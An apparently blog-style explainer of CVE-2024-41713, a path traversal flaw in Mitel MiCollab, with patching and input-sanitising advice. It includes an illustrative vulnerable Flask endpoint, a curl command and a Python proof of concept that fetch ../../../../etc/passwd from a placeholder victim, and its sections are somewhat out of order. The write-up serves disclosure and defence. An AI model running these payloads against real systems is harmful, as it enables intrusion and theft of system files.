In early 2024, a critical security vulnerability, tracked as CVE-2024-41713, was discovered in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab, up to and including version 9.8 SP1 FP2 (9.8.1.201). This flaw lets remote attackers, without authentication, exploit insufficient input validation, leading to potentially devastating attacks: viewing, corrupting, or deleting user data and crucial system configurations.

How to protect your systems

Original advisory:
https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0005
NVD Entry:
https://nvd.nist.gov/vuln/detail/CVE-2024-41713

What Is CVE-2024-41713?

The bug is a classic directory traversal issue (../ attack), essentially because the web management interface for NuPoint Unified Messaging does not properly sanitize user input in certain URL parameters. This oversight means an attacker can manipulate file paths to read or write files outside the intended directories.

Simply put:
By faking a path in their requests, hackers can reach files they're not supposed to see or touch, putting user privacy and system stability at risk.

Impact:

- Read/download private voicemail and configuration files

Vulnerable Endpoint Example

The web interface serves files to users, but does not check if the requested file's path is safe. Typically, this might look like:

@app.route('/nupoint/file')
def serve_file():
    user_requested_file = request.args.get('path')
    # BAD: Not checking or cleaning the path!
    return send_file(f'/nupoint/data/{user_requested_file}')

A legitimate request could be

https://example.com/nupoint/file?path=voicemail-127.wav

But an attacker could request

https://example.com/nupoint/file?path=../../../../etc/passwd

A successful exploit could be as simple as using the browser or curl to request sensitive files

curl -s "https://victim-micollab.com/nupoint/file?path=../../../../etc/passwd";

If the server responds with the contents of /etc/passwd, the system is vulnerable.

Here's a basic Python script to prove the concept

import requests

base_url = 'https://victim-micollab.com/nupoint/file';
file_to_steal = '../../../../etc/passwd'  # UNIX password file for demonstration

params = {'path': file_to_steal}
r = requests.get(base_url, params=params, verify=False)

if r.status_code == 200:
    print('[+] File Downloaded:')
    print(r.text)
else:
    print('[-] Exploit failed, or file not found')

Warning: Only use this script on systems you have permission to test!

Privacy breach: Voicemails, messages, or personal info exposed

- Denial of Service: Deletion/corruption of config files, leading to service downtime
- Further compromise: Attackers may access system files or credentials to escalate their privileges


## How To Fix / Mitigate

Vendor Response

Mitel has released patches for this vulnerability. See their official advisory (https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0005), and upgrade to a fixed release *immediately*.

Technical Fix (For Developers)

Sanitize file paths rigorously before using them. Prevent .. and absolute path references.

Python Example

import os

def safe_path(user_input):
    base_dir = '/nupoint/data/'
    full_path = os.path.join(base_dir, user_input)
    if not os.path.abspath(full_path).startswith(os.path.abspath(base_dir)):
        raise Exception("Directory traversal attempt!")
    return full_path

Patch all MiCollab systems exposed to user inputs or the internet

- Check logs for suspicious requests containing ../

References & Further Reading

- Mitel Product Security Advisory 24-0005
- NIST NVD CVE-2024-41713
- OWASP Path Traversal Cheat Sheet

Conclusion

CVE-2024-41713 is a powerful reminder: always validate user inputs. Directory traversal bugs are basic, but disastrous — particularly in business communications infrastructure like Mitel MiCollab. Take action now: patch affected systems, check your logs, and review your web application’s input handling.

If you run Mitel MiCollab, prioritize this update today!

Timeline

Published on: 10/21/2024 21:15:06 UTC
Last modified on: 01/08/2025 20:31:25 UTC